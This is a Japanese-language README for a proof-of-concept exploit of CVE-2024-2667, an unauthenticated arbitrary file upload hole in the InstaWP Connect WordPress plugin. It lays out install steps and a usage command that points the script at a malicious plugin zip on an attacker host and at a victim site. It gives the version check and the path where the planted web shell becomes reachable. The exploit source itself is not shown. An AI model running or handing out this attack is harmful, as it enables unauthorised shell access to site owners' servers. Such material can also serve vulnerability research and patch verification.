
CVE-2024-2667のPoCエクスプロイト:InstaWP Connect WordPressプラグインのREST APIエンドポイントにおける不十分なファイル検証を介した、自動化された任意ファイルアップロードとシェルアクセス。
| 説明 | 詳細 | アイコン |
|---|
| 必要なライブラリのインストール | pip を使用して必要なPythonライブラリ(requests および beautifulsoup4)をインストールします。 | 🛠️ |
| インストールコマンド | 実行: pip install requests beautifulsoup4。 | 📥 |
| 説明 | 詳細 | アイコン |
|---|---|---|
| スクリプトの実行 | 必要な引数を指定して、コマンドラインでスクリプトを実行します。 | 🚀 |
| 必須引数 | - -up: プラグインのURL(例: http://attacker-domain/malicious-plugin.zip)。 | |
- -u: ターゲットのWordPress URL(例: http://victim-domain/)。 | 🔧 | |
| コマンド例 | python CVE-2024-2667.py -up http://attacker-domain/malicious-plugin.zip -u http://victim-domain/ | 📜 |
| 説明 | 詳細 | アイコン |
|---|---|---|
| バージョンチェック | スクリプトは、対象プラグインのバージョンを readme.txt ファイルで確認します。 | 🔍 |
| 脆弱なバージョン | バージョンが <= 0.1.0.22 の場合、スクリプトは次のように出力します: The site is vulnerable. | ⚠️ |
| 安全なバージョン | バージョンが > 0.1.0.22 の場合、スクリプトは次のように出力します: The site is not vulnerable. | ✅ |
| 説明 | 詳細 | アイコン |
|---|---|---|
| シェルのパス | アップロードが成功した場合、シェルは次の場所でアクセス可能です: | 🐚 |
wp-content/plugins/instawp-connect/shell.php。 |
usage: CVE-2024-2667.py [-h] -up URL_PLUGIN -u URL_TARGET
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due
to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and
including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
options:
-h, --help show this help message and exit
-up URL_PLUGIN, --url_plugin URL_PLUGIN
URL of the plugin (e.g., http://attacker-domain/malicious-plugin.zip).
-u URL_TARGET, --url_target URL_TARGET
URL of the target WordPress site (e.g., http://victim-domain/).